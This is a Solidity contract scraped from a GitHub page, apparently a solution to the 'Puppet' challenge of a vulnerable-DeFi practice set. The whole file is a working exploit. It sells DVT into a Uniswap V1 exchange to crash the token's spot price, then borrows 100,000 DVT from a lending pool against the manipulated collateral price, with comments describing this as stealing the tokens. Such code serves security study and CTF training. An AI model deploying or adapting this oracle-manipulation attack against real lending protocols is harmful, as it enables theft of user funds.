-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathAttackPuppet.sol
55 lines (40 loc) · 1.71 KB
/
AttackPuppet.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
interface IUniswapExchangeV1 {
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns(uint256);
}
interface IPool {
function borrow(uint256 amount, address recipient) external payable;
}
contract AttackPuppet {
uint256 constant SELL_DVT_AMOUNT = 1000 ether;
uint256 constant DEPOSIT_FACTOR = 2;
uint256 constant BORROW_DVT_AMOUNT = 100000 ether;
IUniswapExchangeV1 immutable exchange;
IERC20 immutable token;
IPool immutable pool;
address immutable player;
constructor(address _token, address _pair, address _pool){
token = IERC20(_token);
exchange = IUniswapExchangeV1(_pair);
pool = IPool(_pool);
player = msg.sender;
}
function attack() external payable {
require(msg.sender == player);
// Dump DVT to the Uniswap Pool
token.approve(address(exchange), SELL_DVT_AMOUNT);
exchange.tokenToEthTransferInput(SELL_DVT_AMOUNT, 9, block.timestamp, address(this));
// Calculate required collateral
uint256 price = address(exchange).balance * (10 ** 18) / token.balanceOf(address(exchange));
uint256 depositRequired = BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR / 10 ** 18;
console.log("contract ETH balance: ", address(this).balance);
console.log("DVT price: ", price);
console.log("Deposit Required: ", depositRequired);
// Borrow and steal the DVT
pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
}
receive() external payable {}
}